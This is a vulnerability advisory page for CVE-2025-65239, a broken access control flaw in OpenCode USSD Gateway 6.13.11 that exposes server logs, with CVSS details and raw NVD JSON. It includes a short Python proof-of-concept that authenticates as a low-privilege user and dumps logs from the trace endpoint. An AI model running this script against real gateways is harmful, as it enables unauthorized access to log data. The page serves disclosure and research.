Security Vulnerability Report
中文
CVE-2025-65239 CVSS 4.3 MEDIUM

CVE-2025-65239

Published: 2025-11-26 17:15:48
Last Modified: 2025-12-30 15:57:07

Description

Incorrect access control in the /aux1/ocussd/trace endpoint of OpenCode Systems USSD Gateway OC Release:5, version 6.13.11 allows attackers with low-level privileges to read server logs.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:* - VULNERABLE
OpenCode USSD Gateway OC Release:5 version 6.13.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65239 PoC - OpenCode USSD Gateway Broken Access Control # Target: /aux1/ocussd/trace endpoint # Vulnerability: Allows low-privilege users to read server logs def exploit_cve_2025_65239(target_url, username, password): """ Exploit for CVE-2025-65239 Args: target_url: Base URL of the USSD Gateway (e.g., 'https://target.com') username: Low-privilege user account password: Password for the account Returns: Server logs if exploitation successful, None otherwise """ # Create session session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed with status code: {response.status_code}") return None print("[+] Authentication successful") # Step 2: Access the vulnerable trace endpoint trace_url = f"{target_url}/aux1/ocussd/trace" response = session.get(trace_url, timeout=10) if response.status_code == 200: print("[+] Successfully accessed /aux1/ocussd/trace endpoint") print("[+] Server logs retrieved:") print("-" * 50) print(response.text) print("-" * 50) return response.text else: print(f"[-] Failed to access trace endpoint. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://ussd.example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_65239(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65239", "sourceIdentifier": "[email protected]", "published": "2025-11-26T17:15:47.580", "lastModified": "2025-12-30T15:57:07.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the /aux1/ocussd/trace endpoint of OpenCode Systems USSD Gateway OC Release:5, version 6.13.11 allows attackers with low-level privileges to read server logs."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:*", "matchCriteriaId": "56AD3C50-7C66-4B18-9817-AC6E9D7E8B42"}]}]}], "references": [{"url": "https://eslam3kl.gitbook.io", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65239-ussd-gateway-broken-access-control-logs", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/eslam3kl", "source": "[email protected]", "tags": ["Not Applicable"]}]}}